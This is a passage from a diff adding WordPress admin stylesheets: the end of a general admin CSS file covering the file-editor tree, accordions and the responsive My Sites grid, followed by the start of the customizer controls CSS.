+/* Use arrow dashicons for folder states, but hide from screen readers. */
+[role="treeitem"] span[aria-hidden] {
+	display: inline;
+	font-family: dashicons;
+	font-size: 20px;
+	position: absolute;
+	pointer-events: none;
+}
+[role="treeitem"][aria-expanded="false"] > .folder-label .icon:after {
+	content: "\f139";
+}
+[role="treeitem"][aria-expanded="true"] > .folder-label .icon:after {
+	content: "\f140";
+}
+[role="treeitem"] .folder-label {
+	display: block;
+	padding: 3px 3px 3px 12px;
+	cursor: pointer;
+}
+
+/* Remove outline, and create our own focus and hover styles */
+[role="treeitem"] {
+	outline: 0;
+}
+[role="treeitem"] .folder-label.focus {
+	color: #124964;
+	box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8);
+}
+[role="treeitem"].hover,
+[role="treeitem"] .folder-label.hover {
+	background-color: #eaeaea;
+}
+
+.tree-folder {
+	margin: 0;
+	position: relative;
+}
+[role="treeitem"] li {
+	position: relative;
+}
+
+/* Styles for folder indicators/depth */
+.tree-folder .tree-folder::after {
+	content: ' ';
+	display: block;
+	position: absolute;
+	left: 2px;
+	border-left: 1px solid #ccc;
+	top: -13px;
+	bottom: 10px;
+}
+.tree-folder > li::before {
+	content: ' ';
+	position: absolute;
+	display: block;
+	border-left: 1px solid #ccc;
+	left: 2px;
+	top: -5px;
+	height: 18px;
+	width: 7px;
+	border-bottom: 1px solid #ccc;
+}
+.tree-folder > li::after {
+	content: ' ';
+	position: absolute;
+	display: block;
+	border-left: 1px solid #ccc;
+	left: 2px;
+	bottom: -7px;
+	top: 0;
+}
+
+/* current-file needs to adjustment for .notice styles */
+#templateside .current-file {
+	margin: -4px 0 -2px;
+}
+.tree-folder > .current-file::before {
+	left: 4px;
+	height: 15px;
+	width: 0px;
+	border-left: none;
+	top: 3px;
+}
+.tree-folder > .current-file::after {
+	bottom: -4px;
+	height: 7px;
+	left: 2px;
+	top: auto;
+}
+
+/* Lines shouldn't continue on last item */
+.tree-folder > li:last-child::after,
+.tree-folder li:last-child > .tree-folder::after {
+	display: none;
+}
+
+
+#theme-plugin-editor-label {
+	display: inline-block;
+	margin-bottom: 1em;
+	font-weight: 600;
+}
+
+/* rtl:ignore */
+#template textarea,
+#docs-list {
+	direction: ltr;
+}
+
+.fileedit-sub #theme,
+.fileedit-sub #plugin {
+	max-width: 40%;
+}
+.fileedit-sub .alignright {
+	text-align: right;
+}
+
+#template p {
+	width: 97%;
+}
+
+#file-editor-linting-error {
+	margin-top: 1em;
+	margin-bottom: 1em;
+}
+#file-editor-linting-error > .notice {
+	margin: 0;
+	display: inline-block;
+}
+#file-editor-linting-error > .notice > p {
+	width: auto;
+}
+#template .submit {
+	margin-top: 1em;
+	padding: 0;
+}
+
+#template .submit input[type=submit][disabled] {
+	cursor: not-allowed;
+}
+#templateside {
+	float: right;
+	width: 16em;
+	word-wrap: break-word;
+}
+
+#postcustomstuff p.submit {
+	margin: 0;
+}
+
+#templateside h4 {
+	margin: 1em 0 0;
+}
+
+#templateside li {
+	margin: 4px 0;
+}
+
+#templateside li:not(.howto) a,
+.theme-editor-php .highlight {
+	display: block;
+	padding: 3px 0 3px 12px;
+	text-decoration: none;
+}
+
+#templateside li:not(.howto) > a:first-of-type {
+	padding-top: 0;
+}
+
+#templateside li.howto {
+	padding: 6px 12px 12px 12px;
+}
+
+.theme-editor-php .highlight {
+	margin: -3px 3px -3px -12px;
+}
+
+#templateside .highlight {
+	border: none;
+	font-weight: 600;
+}
+
+.nonessential {
+	color: #666;
+	font-size: 11px;
+	font-style: italic;
+	padding-left: 12px;
+}
+
+#documentation {
+	margin-top: 10px;
+}
+
+#documentation label {
+	line-height: 22px;
+	vertical-align: baseline;
+	font-weight: 600;
+}
+
+.fileedit-sub {
+	padding: 10px 0 8px;
+	line-height: 180%;
+}
+
+#file-editor-warning .file-editor-warning-content {
+	margin: 25px;
+}
+
+/* @todo: can we use a common class for these? */
+.nav-menus-php .item-edit:before,
+.widget-top .widget-action .toggle-indicator:before,
+.control-section .accordion-section-title:after,
+.accordion-section-title:after {
+	content: "\f140";
+	font: normal 20px/1 dashicons;
+	speak: none;
+	display: block;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+}
+
+.widget-top .widget-action .toggle-indicator:before {
+	padding: 1px 2px 1px 0px;
+	border-radius: 50%;
+}
+
+.handlediv,
+.postbox .handlediv.button-link,
+.item-edit,
+.toggle-indicator,
+.accordion-section-title:after {
+	color: #72777c;
+}
+
+.widget-action {
+	color: #555d66; /* #fafafa background in the Widgets screen */
+}
+
+.widget-top:hover .widget-action,
+.widget-action:focus,
+.handlediv:hover,
+.handlediv:focus,
+.postbox .handlediv.button-link:hover,
+.postbox .handlediv.button-link:focus,
+.item-edit:hover,
+.item-edit:focus,
+.sidebar-name:hover .toggle-indicator,
+.accordion-section-title:hover:after {
+	color: #23282d;
+}
+
+.widget-top .widget-action:focus .toggle-indicator:before {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30,140,190,.8);
+}
+
+.control-section .accordion-section-title:after,
+.accordion-section-title:after {
+	float: right;
+	right: 20px;
+	top: -2px;
+}
+
+.control-section.open .accordion-section-title:after,
+#customize-info.open .accordion-section-title:after,
+.nav-menus-php .menu-item-edit-active .item-edit:before,
+.widget.open .widget-top .widget-action .toggle-indicator:before {
+	content: "\f142";
+}
+
+/*!
+ * jQuery UI Draggable/Sortable 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+.ui-draggable-handle,
+.ui-sortable-handle {
+	touch-action: none;
+}
+
+/* Accordion */
+.accordion-section {
+	border-bottom: 1px solid #ddd;
+	margin: 0;
+}
+
+.accordion-section.open .accordion-section-content,
+.no-js .accordion-section .accordion-section-content {
+	display: block;
+}
+
+.accordion-section.open:hover {
+	border-bottom-color: #ddd;
+}
+
+.accordion-section-content {
+	display: none;
+	padding: 10px 20px 15px;
+	overflow: hidden;
+	background: #fff;
+}
+
+.accordion-section-title {
+	margin: 0;
+	padding: 12px 15px 15px;
+	position: relative;
+	border-left: 1px solid #ddd;
+	border-right: 1px solid #ddd;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.js .accordion-section-title {
+	cursor: pointer;
+}
+
+.js .accordion-section-title:after {
+	position: absolute;
+	top: 12px;
+	right: 10px;
+	z-index: 1;
+}
+
+.accordion-section-title:focus {
+	outline: none;
+}
+
+.accordion-section-title:hover:after,
+.accordion-section-title:focus:after {
+	border-color: #a0a5aa transparent;
+}
+
+.cannot-expand .accordion-section-title {
+	cursor: auto;
+}
+
+.cannot-expand .accordion-section-title:after {
+	display: none;
+}
+
+.control-section .accordion-section-title,
+.customize-pane-child .accordion-section-title {
+	border-left: none;
+	border-right: none;
+	padding: 10px 10px 11px 14px;
+	line-height: 21px;
+	background: #fff;
+}
+
+.control-section .accordion-section-title:after,
+.customize-pane-child .accordion-section-title:after {
+	top: calc(50% - 10px); /* Arrow height is 20px, so use half of that to vertically center */
+}
+
+.js .control-section:hover .accordion-section-title,
+.js .control-section .accordion-section-title:hover,
+.js .control-section.open .accordion-section-title,
+.js .control-section .accordion-section-title:focus {
+	color: #23282d;
+	background: #f5f5f5;
+}
+
+.control-section.open .accordion-section-title {
+	/* When expanded */
+	border-bottom: 1px solid #ddd;
+}
+
+/* Edit Site */
+.network-admin .edit-site-actions {
+	margin-top: 0;
+}
+
+/* My Sites */
+.my-sites {
+	display: block;
+	overflow: auto;
+	zoom: 1;
+}
+
+.my-sites li {
+	display: block;
+	padding: 8px 3%;
+	min-height: 130px;
+	margin: 0;
+}
+
+@media only screen and (max-width: 599px) {
+	.my-sites li {
+		min-height: 0;
+	}
+}
+
+@media only screen and (min-width: 600px) {
+	.my-sites.striped li {
+		background-color: #fff;
+		position: relative;
+	}
+	.my-sites.striped li:after {
+		content: "";
+		width: 1px;
+		height: 100%;
+		position: absolute;
+		top: 0;
+		right: 0;
+		background: #ccc;
+	}
+
+}
+@media only screen and (min-width: 600px) and (max-width: 699px) {
+	.my-sites li{
+		float: left;
+		width: 44%;
+	}
+	.my-sites.striped li {
+		background-color: #fff;
+	}
+	.my-sites.striped li:nth-of-type(2n+1) {
+		clear: left;
+	}
+	.my-sites.striped li:nth-of-type(2n+2):after {
+		content: none;
+	}
+	.my-sites li:nth-of-type(4n+1),
+	.my-sites li:nth-of-type(4n+2) {
+		background-color: #f9f9f9;
+	}
+
+}
+
+@media only screen and (min-width: 700px) and (max-width: 1199px) {
+	.my-sites li {
+		float: left;
+		width: 27.333333%;
+		background-color: #fff;
+	}
+	.my-sites.striped li:nth-of-type(3n+3):after {
+		content: none;
+	}
+	.my-sites li:nth-of-type(6n+1),
+	.my-sites li:nth-of-type(6n+2),
+	.my-sites li:nth-of-type(6n+3) {
+		background-color: #f9f9f9;
+	}
+}
+
+@media only screen and (min-width: 1200px) and (max-width: 1399px) {
+	.my-sites li {
+		float: left;
+		width: 21%;
+		padding: 8px 2%;
+		background-color: #fff;
+	}
+	.my-sites.striped li:nth-of-type(4n+1) {
+		clear: left;
+	}
+	.my-sites.striped li:nth-of-type(4n+4):after {
+		content: none;
+	}
+	.my-sites li:nth-of-type(8n+1),
+	.my-sites li:nth-of-type(8n+2),
+	.my-sites li:nth-of-type(8n+3),
+	.my-sites li:nth-of-type(8n+4) {
+		background-color: #f9f9f9;
+	}
+}
+
+@media only screen and (min-width: 1400px) and (max-width: 1599px) {
+	.my-sites li {
+		float: left;
+		width: 16%;
+		padding: 8px 2%;
+		background-color: #fff;
+	}
+	.my-sites.striped li:nth-of-type(5n+1) {
+		clear: left;
+	}
+	.my-sites.striped li:nth-of-type(5n+5):after {
+		content: none;
+	}
+	.my-sites li:nth-of-type(10n+1),
+	.my-sites li:nth-of-type(10n+2),
+	.my-sites li:nth-of-type(10n+3),
+	.my-sites li:nth-of-type(10n+4),
+	.my-sites li:nth-of-type(10n+5) {
+		background-color: #f9f9f9;
+	}
+}
+
+@media only screen and (min-width: 1600px) {
+	.my-sites li {
+		float: left;
+		width: 12.666666%;
+		padding: 8px 2%;
+		background-color: #fff;
+	}
+	.my-sites.striped li:nth-of-type(6n+1) {
+		clear: left;
+	}
+	.my-sites.striped li:nth-of-type(6n+6):after {
+		content: none;
+	}
+	.my-sites li:nth-of-type(12n+1),
+	.my-sites li:nth-of-type(12n+2),
+	.my-sites li:nth-of-type(12n+3),
+	.my-sites li:nth-of-type(12n+4),
+	.my-sites li:nth-of-type(12n+5),
+	.my-sites li:nth-of-type(12n+6) {
+		background-color: #f9f9f9;
+	}
+}
+
+.my-sites li a {
+	text-decoration: none;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	/* Back-compat for pre-3.8 */
+	div.star-holder,
+	div.star-holder .star-rating {
+		background: url(../images/stars-2x.png?ver=20121108) repeat-x bottom left;
+		background-size: 21px 37px;
+	}
+
+	.spinner {
+		background-image: url(../images/spinner-2x.gif);
+	}
+
+	/* @todo: evaluate - most of these were likely replaced by dashicons */
+	.curtime #timestamp,
+	#screen-meta-links a.show-settings,
+	.widget-top .widget-action,
+	.widget-top .widget-action:hover,
+	.sidebar-name .toggle-indicator,
+	.sidebar-name:hover .toggle-indicator,
+	.meta-box-sortables .postbox:hover .handlediv,
+	#bulk-titles div a,
+	#bulk-titles div a:hover {
+		background: none !important;
+	}
+
+}
+
+@-ms-viewport {
+	width: device-width;
+}
+
+@media screen and ( max-width: 782px ) {
+	html.wp-toolbar {
+		padding-top: 46px;
+	}
+
+	body {
+		min-width: 240px;
+		overflow-x: hidden;
+	}
+
+	body * {
+		-webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
+	}
+
+	#wpcontent {
+		position: relative;
+		margin-left: 0;
+		padding-left: 10px;
+	}
+
+	#wpbody-content {
+		padding-bottom: 100px;
+	}
+
+	.wrap {
+		margin-right: 12px;
+		margin-left: 0;
+	}
+
+	/* categories */
+	#col-left,
+	#col-right {
+		float: none;
+		width: auto;
+	}
+
+	#col-left .col-wrap,
+	#col-right .col-wrap {
+		padding: 0;
+	}
+
+	/* Hidden Elements */
+	#screen-meta,
+	#screen-meta-links,
+	#collapse-menu,
+	.post-format-select {
+		display: none !important;
+	}
+
+	.wrap h1.wp-heading-inline {
+		margin-bottom: 0.5em;
+	}
+
+	.wrap .add-new-h2, /* deprecated */
+	.wrap .add-new-h2:active, /* deprecated */
+	.wrap .page-title-action,
+	.wrap .page-title-action:active {
+		padding: 10px 15px;
+		font-size: 14px;
+		white-space: nowrap;
+	}
+
+	/* Feedback Messages */
+	.notice,
+	.wrap div.updated,
+	.wrap div.error,
+	.media-upload-form div.error {
+		margin: 20px 0 10px 0;
+		padding: 5px 10px;
+		font-size: 14px;
+		line-height: 175%;
+	}
+
+	.wp-core-ui .notice.is-dismissible {
+		padding-right: 46px;
+	}
+
+	.notice-dismiss {
+		padding: 13px;
+	}
+
+	.wrap .icon32 + h2 {
+		margin-top: -2px;
+	}
+
+	.wp-responsive-open #wpbody {
+		right: -16em;
+	}
+
+	code {
+		word-wrap: break-word;
+	}
+
+	/* General Metabox */
+	.postbox {
+		font-size: 14px;
+	}
+
+	.metabox-holder h3.hndle, /* Back-compat for pre-4.4 */
+	.metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */
+	.metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */
+	.metabox-holder h2 {
+		padding: 12px;
+	}
+
+	.postbox .handlediv {
+		margin-top: 3px;
+	}
+
+	/* Subsubsub Nav */
+	.subsubsub {
+		font-size: 16px;
+		text-align: center;
+		margin-bottom: 15px;
+	}
+
+	/* Theme/Plugin File Editor */
+
+	#template textarea,
+	#template .CodeMirror {
+		box-sizing: border-box;
+	}
+
+	#templateside {
+		float: none;
+		width: auto;
+	}
+
+	#templateside > ul {
+		border-left: 1px solid #ddd;
+	}
+
+	#templateside li {
+		margin: 0;
+	}
+
+	#templateside li:not(.howto) a {
+		display: block;
+		padding: 5px;
+	}
+	#templateside li.howto {
+		padding: 12px;
+	}
+
+	#templateside .highlight {
+		padding: 5px;
+		margin-left: -5px;
+		margin-top: -5px;
+	}
+
+	#template > div,
+	#template .notice {
+		float: none;
+		margin: 1em 0;
+		width: auto;
+	}
+
+	#template .CodeMirror,
+	#template textarea {
+		width: 100%;
+	}
+
+	#templateside ul ul {
+		padding-left: 1.5em;
+	}
+	[role="treeitem"] .folder-label {
+		display: block;
+		padding: 5px;
+	}
+	.tree-folder > li::before,
+	.tree-folder > li::after,
+	.tree-folder .tree-folder::after {
+		left: -8px;
+	}
+	.tree-folder > li::before {
+		top: 0px;
+		height: 13px;
+	}
+	.tree-folder > .current-file::before {
+		left: -5px;
+		top: 7px;
+		width: 4px;
+	}
+	.tree-folder > .current-file::after {
+		height: 9px;
+		left: -8px;
+	}
+	.wrap #templateside span.notice {
+		margin-left: -5px;
+		width: 100%;
+	}
+
+	.fileedit-sub .alignright {
+		float: left;
+		margin-top: 15px;
+		width: 100%;
+		text-align: left;
+	}
+
+	.fileedit-sub .alignright label {
+		display: block;
+	}
+
+	.fileedit-sub #theme,
+	.fileedit-sub #plugin {
+		margin-left: 0;
+		max-width: 70%;
+	}
+
+	.fileedit-sub input[type="submit"] {
+		margin-bottom: 0px;
+		padding: 8px 18px;
+	}
+
+	#documentation label[for="docs-list"] {
+		display: block;
+	}
+
+	#documentation select[name="docs-list"] {
+		margin-left: 0;
+		max-width: 60%;
+	}
+
+	#documentation input[type="button"] {
+		margin-bottom: 0;
+		padding: 8px 18px;
+	}
+
+	#wpfooter {
+		display: none;
+	}
+
+	#comments-form .checkforspam {
+		display: none;
+	}
+
+	.edit-comment-author {
+		margin: 2px 0 0;
+	}
+
+	.filter-drawer .filter-group-feature input,
+	.filter-drawer .filter-group-feature label {
+		line-height: 25px;
+	}
+
+	.filter-drawer .filter-group-feature label {
+		margin-left: 32px;
+	}
+
+	.wp-filter .button.drawer-toggle {
+		font-size: 13px;
+		line-height: 26px;
+		height: 28px;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	/* Disable horizontal scroll when responsive menu is open
+	   since we push the main content off to the right. */
+	#wpwrap.wp-responsive-open {
+		overflow-x: hidden;
+	}
+
+	html.wp-toolbar {
+		padding-top: 0;
+	}
+
+	#wpbody {
+		padding-top: 46px;
+	}
+
+	/* Keep full-width boxes on Edit Post page from causing horizontal scroll */
+	div#post-body.metabox-holder.columns-1 {
+		overflow-x: hidden;
+	}
+
+	h1.nav-tab-wrapper,
+	.wrap h2.nav-tab-wrapper,
+	.nav-tab-wrapper {
+		border-bottom: 0;
+	}
+
+	h1 .nav-tab,
+	h2 .nav-tab,
+	h3 .nav-tab {
+		margin: 10px 10px 0 0;
+		border-bottom: 1px solid #ccc;
+	}
+}
+
+@media screen and (max-width: 320px) {
+	/* Prevent default center alignment and larger font for the Right Now widget when
+	   the network dashboard is viewed on a small mobile device. */
+	#network_dashboard_right_now .subsubsub {
+		font-size: 14px;
+		text-align: left;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/customize-controls.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/customize-controls.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/customize-controls.css	(revision 56912)
@@ -0,0 +1,2970 @@
+body {
+	overflow: hidden;
+	-webkit-text-size-adjust: 100%;
+}
+
+.customize-controls-close,
+.widget-control-actions a {
+	text-decoration: none;
+}
+
+#customize-controls h3 {
+	font-size: 14px;
+}
+
+#customize-controls img {
+	max-width: 100%;
+}
+
+#customize-controls .submit {
+	text-align: center;
+}
+
+#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked {
+	background-color: rgba( 0, 0, 0, 0.7 );
+	padding: 25px;
+}
+
+#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message {
+	margin-left: auto;
+	margin-right: auto;
+	max-width: 366px;
+	min-height: 64px;
+	width: auto;
+	padding: 25px 25px 25px 109px;
+	position: relative;
+	background: #fff;
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	line-height: 1.5;
+	overflow-y: auto;
+	text-align: left;
+	top: calc( 50% - 100px );
+}
+
+#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing {
+	margin-top: 0;
+}
+#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons {
+	margin-bottom: 0;
+}
+
+.customize-changeset-locked-avatar {
+	width: 64px;
+	position: absolute;
+	left: 25px;
+	top: 25px;
+}
+
+.wp-core-ui.wp-customizer .customize-changeset-locked-message a.button {
+	margin-right: 10px;
+	margin-top: 0;
+}
+
+#customize-controls .description {
+	color: #555d66;
+}
+
+#customize-save-button-wrapper {
+	float: right;
+	margin-top: 9px;
+}
+
+body:not(.ready) #customize-save-button-wrapper .save {
+	visibility: hidden;
+}
+#customize-save-button-wrapper .save {
+	float: left;
+	border-radius: 3px;
+	box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */
+	margin-top: 0;
+}
+
+#customize-save-button-wrapper .save:focus, #publish-settings:focus {
+	box-shadow: 0 1px 0 #0073aa, 0 0 2px 1px #33b3db; /* This is default box shadow for focus */
+}
+
+#customize-save-button-wrapper .save.has-next-sibling {
+	border-radius: 3px 0 0 3px;
+}
+
+#customize-sidebar-outer-content {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	visibility: hidden;
+	overflow-x: hidden;
+	overflow-y: auto;
+	width: 100%;
+	margin: 0;
+	z-index: -1;
+	background: #eee;
+	transition: left .18s;
+	border-right: 1px solid #ddd;
+	border-left: 1px solid #ddd;
+	height: 100%;
+}
+
+#customize-theme-controls .control-section-outer {
+	display: none !important;
+}
+
+#customize-outer-theme-controls .accordion-section-content {
+	padding: 12px;
+}
+
+#customize-outer-theme-controls .accordion-section-content.open {
+	display: block;
+}
+
+.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content {
+	visibility: visible;
+	left: 100%;
+	transition: left .18s;
+}
+
+.customize-outer-pane-parent {
+	margin: 0;
+}
+
+.outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main {
+	left: 300px;
+	opacity: 0.4;
+}
+
+.outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
+.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
+.adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
+.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
+.adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
+.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main {
+	left: 64%;
+}
+
+#customize-outer-theme-controls li.notice {
+	padding-top: 8px;
+	padding-bottom: 8px;
+	margin-left: 0;
+	margin-bottom: 10px;
+}
+
+#publish-settings {
+	text-indent: 0;
+	border-radius: 0 3px 3px 0;
+	padding-left: 0;
+	padding-right: 0;
+	box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */
+	font-size: 14px;
+	width: 30px;
+	float: left;
+	transform: none;
+	margin-top: 0;
+}
+
+body:not(.ready) #publish-settings,
+body.trashing #customize-save-button-wrapper .save,
+body.trashing #publish-settings {
+	display: none;
+}
+
+#customize-header-actions .spinner {
+	margin-top: 13px;
+	margin-right: 4px;
+}
+
+.saving #customize-header-actions .spinner,
+.trashing #customize-header-actions .spinner {
+	visibility: visible;
+}
+
+#customize-header-actions {
+	border-bottom: 1px solid #ddd;
+}
+
+#customize-controls .wp-full-overlay-sidebar-content {
+	overflow-y: auto;
+	overflow-x: hidden;
+}
+
+.outer-section-open #customize-controls .wp-full-overlay-sidebar-content {
+	background: #eee;
+}
+
+#customize-controls .customize-info {
+	border: none;
+	border-bottom: 1px solid #ddd;
+	margin-bottom: 15px;
+}
+
+#customize-control-changeset_status .customize-inside-control-row,
+#customize-control-changeset_preview_link input {
+	background-color: #ffffff;
+	border-bottom: 1px solid #ddd;
+	box-sizing: content-box;
+	width: 100%;
+	margin-left: -12px;
+	padding-left: 12px;
+	padding-right: 12px;
+}
+
+#customize-control-trash_changeset {
+	margin-top: 20px;
+}
+#customize-control-trash_changeset .button-link {
+	position: relative;
+	padding-left: 24px;
+	display: inline-block;
+}
+#customize-control-trash_changeset .button-link:before {
+	content: "\f182";
+	font: normal 22px dashicons;
+	text-decoration: none;
+	position: absolute;
+	left: 0;
+	top: -2px;
+}
+
+#customize-controls .date-input:invalid {
+	border-color: #dc3232;
+}
+
+#customize-control-changeset_status .customize-inside-control-row {
+	padding-top: 10px;
+	padding-bottom: 10px;
+	font-weight: 500;
+}
+
+#customize-control-changeset_status .customize-inside-control-row:first-of-type {
+	border-top: 1px solid #ddd;
+}
+
+#customize-control-changeset_status .customize-control-title {
+	margin-bottom: 6px;
+}
+
+#customize-control-changeset_status input {
+	margin-left: 0;
+}
+
+#customize-control-changeset_preview_link {
+	position: relative;
+	display: block;
+}
+
+.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button {
+	margin: 0;
+	position: absolute;
+	bottom: 9px;
+	right: 0;
+}
+
+.preview-link-wrapper {
+	position: relative;
+}
+
+.customize-copy-preview-link:before,
+.customize-copy-preview-link:after {
+	content: "";
+	height: 28px;
+	position: absolute;
+	background: #ffffff;
+	top: -1px;
+}
+
+.customize-copy-preview-link:before {
+	left: -10px;
+	width: 9px;
+	opacity: 0.75;
+}
+
+.customize-copy-preview-link:after {
+	left: -5px;
+	width: 4px;
+	opacity: 0.8;
+}
+
+#customize-control-changeset_preview_link input {
+	line-height: 2.5;
+	border-top: 1px solid #ddd;
+	border-left: none;
+	border-right: none;
+	text-indent: -999px;
+	color: #fff;
+}
+
+#customize-control-changeset_preview_link label {
+	position: relative;
+	display: block;
+}
+
+#customize-control-changeset_preview_link a {
+	display: inline-block;
+	position: absolute;
+	white-space: nowrap;
+	overflow: hidden;
+	width: 90%;
+	bottom: 14px;
+	font-size: 14px;
+	text-decoration: none;
+}
+
+#customize-control-changeset_preview_link a.disabled,
+#customize-control-changeset_preview_link a.disabled:active,
+#customize-control-changeset_preview_link a.disabled:focus,
+#customize-control-changeset_preview_link a.disabled:visited {
+	color: black;
+	opacity: 0.4;
+	cursor: default;
+	outline: none;
+	box-shadow: none;
+}
+
+#sub-accordion-section-publish_settings .customize-section-description-container {
+	display: none;
+}
+
+#customize-controls .customize-info.section-meta {
+	margin-bottom: 15px;
+}
+
+.customize-control-date_time .customize-control-description + .date-time-fields.includes-time {
+	margin-top: 10px;
+}
+
+.customize-control.customize-control-date_time .date-time-fields .date-input.day {
+	margin-right: 0;
+}
+
+.date-time-fields .date-input.month {
+	width: auto;
+	margin: 0;
+}
+
+.date-time-fields .date-input.day,
+.date-time-fields .date-input.hour,
+.date-time-fields .date-input.minute {
+	width: 46px;
+}
+
+.date-time-fields .date-input.year {
+	width: 60px;
+}
+
+.date-time-fields .date-input.meridian {
+	width: auto;
+	margin: 0;
+}
+
+.date-time-fields .time-row {
+	margin-top: 12px;
+}
+
+.date-time-fields .date-timezone {
+	line-height: 2.2;
+	text-decoration: none;
+}
+
+#customize-control-changeset_preview_link {
+	margin-top: 6px;
+}
+
+#customize-control-changeset_status {
+	margin-bottom: 0;
+	padding-bottom: 0;
+}
+
+#customize-control-changeset_scheduled_date {
+	box-sizing: content-box;
+	width: 100%;
+	margin-left: -12px;
+	padding: 12px;
+	background: #ffffff;
+	border-bottom: 1px solid #ddd;
+	margin-bottom: 0;
+}
+
+#customize-control-changeset_scheduled_date .customize-control-description {
+	font-style: normal;
+}
+
+#customize-controls .customize-info.is-in-view,
+#customize-controls .customize-section-title.is-in-view {
+	position: absolute;
+	z-index: 9;
+	width: 100%;
+	box-shadow: 0 1px 0 rgba(0, 0, 0, .1);
+}
+
+#customize-controls .customize-section-title.is-in-view {
+	margin-top: 0;
+}
+
+#customize-controls .customize-info.is-in-view + .accordion-section {
+	margin-top: 15px;
+}
+
+#customize-controls .customize-info.is-sticky,
+#customize-controls .customize-section-title.is-sticky {
+	position: fixed;
+	top: 46px;
+}
+
+#customize-controls .customize-info .accordion-section-title {
+	background: #fff;
+	color: #555d66;
+	border-left: none;
+	border-right: none;
+	border-bottom: none;
+	cursor: default;
+}
+
+#customize-controls .customize-info.open .accordion-section-title:after,
+#customize-controls .customize-info .accordion-section-title:hover:after,
+#customize-controls .customize-info .accordion-section-title:focus:after {
+	color: #32373c;
+}
+
+#customize-controls .customize-info .accordion-section-title:after {
+	display: none;
+}
+
+#customize-controls .customize-info .preview-notice {
+	font-size: 13px;
+	line-height: 24px;
+}
+
+#customize-controls .customize-pane-child .customize-section-title h3,
+#customize-controls .customize-pane-child h3.customize-section-title,
+#customize-outer-theme-controls .customize-pane-child .customize-section-title h3,
+#customize-outer-theme-controls .customize-pane-child h3.customize-section-title,
+#customize-controls .customize-info .panel-title {
+	font-size: 20px;
+	font-weight: 200;
+	line-height: 26px;
+	display: block;
+	overflow: hidden;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+}
+
+#customize-controls .customize-section-title span.customize-action {
+	overflow: hidden;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+}
+
+#customize-controls .customize-info .customize-help-toggle {
+	position: absolute;
+	top: 4px;
+	right: 1px;
+	padding: 20px 20px 10px 10px;
+	width: 20px;
+	height: 20px;
+	cursor: pointer;
+	box-shadow: none;
+	-webkit-appearance: none;
+	background: transparent;
+	color: #555d66;
+	border: none;
+}
+
+#customize-controls .customize-info .customize-help-toggle:before {
+	position: absolute;
+	top: 5px;
+	left: 6px;
+}
+
+#customize-controls .customize-info.open .customize-help-toggle,
+#customize-controls .customize-info .customize-help-toggle:focus,
+#customize-controls .customize-info .customize-help-toggle:hover {
+	color: #0073aa;
+}
+
+#customize-controls .customize-info .customize-panel-description,
+#customize-controls .customize-info .customize-section-description,
+#customize-outer-theme-controls .customize-info .customize-section-description,
+#customize-controls .no-widget-areas-rendered-notice {
+	color: #555d66;
+	display: none;
+	background: #fff;
+	padding: 12px 15px;
+	border-top: 1px solid #ddd;
+}
+
+#customize-controls .customize-info .customize-panel-description.open + .no-widget-areas-rendered-notice {
+	border-top: none;
+}
+.no-widget-areas-rendered-notice {
+	font-style: italic;
+}
+.no-widget-areas-rendered-notice p:first-child {
+	margin-top: 0;
+}
+.no-widget-areas-rendered-notice p:last-child {
+	margin-bottom: 0;
+}
+
+#customize-controls .customize-info .customize-section-description {
+	margin-bottom: 15px;
+}
+
+#customize-controls .customize-info .customize-panel-description p:first-child,
+#customize-controls .customize-info .customize-section-description p:first-child {
+	margin-top: 0;
+}
+
+#customize-controls .customize-info .customize-panel-description p:last-child,
+#customize-controls .customize-info .customize-section-description p:last-child {
+	margin-bottom: 0;
+}
+
+#customize-controls .current-panel .control-section > h3.accordion-section-title {
+	padding-right: 30px;
+}
+
+#customize-theme-controls .control-section,
+#customize-outer-theme-controls .control-section {
+	border: none;
+}
+
+#customize-theme-controls .accordion-section-title,
+#customize-outer-theme-controls .accordion-section-title {
+	color: #555d66;
+	background-color: #fff;
+	border-bottom: 1px solid #ddd;
+	border-left: 4px solid #fff;
+	transition: .15s color ease-in-out,
+	            .15s background-color ease-in-out,
+	            .15s border-color ease-in-out;
+}
+
+#customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title {
+	color: #555;
+	background-color: #fff;
+	border-left: 4px solid #fff;
+}
+
